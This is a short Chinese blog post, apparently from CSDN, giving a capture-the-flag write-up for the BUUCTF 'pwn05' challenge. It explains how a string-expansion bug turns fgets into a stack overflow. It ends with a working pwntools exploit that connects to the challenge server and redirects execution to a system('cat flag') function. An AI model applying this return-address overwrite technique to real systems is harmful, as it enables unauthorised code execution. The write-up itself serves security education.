buuctf pwn05

文章详细描述了一次针对Buuoj.cn服务器的漏洞利用过程,利用IDA工具定位敏感函数,通过fgets字符溢出漏洞,构造payload实现对返回地址的控制,最终成功获取flag。
摘要由CSDN通过智能技术生成

1.checksec

在这里插入图片描述
2.ida后shift+f12发现敏感字符串cat flag,说明这里是调用了system的
在这里插入图片描述
点进去记住这个地址8048F13(或者该函数的起始地址0x8048F0D也行)
在这里插入图片描述
点进主函数查看发现只有一个函数vuln(),再点进去如下:
在这里插入图片描述
转成汇编后发现s距离ebp为0x3c,但fgets()只读32个字符,不能直接输入0x3c个字符溢出到ebp,但后面会把读出的字符中的"I"转换为"you",所以可以向s输入20个"I",然后20个"I"会转换为20个"you",也就是0x3c(60)个字符,之后输入随便4个字符覆盖ebp溢出到返回地址0x就可以得到flag
在这里插入图片描述
故exp如下:

from pwn import*
p=remote('node4.buuoj.cn',25425)
payload=b'I'*20+b'a'*4+p32(0x8048F0D)
p.sendline(payload)
p.interactive()

在这里插入图片描述
最后直接得到flag

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值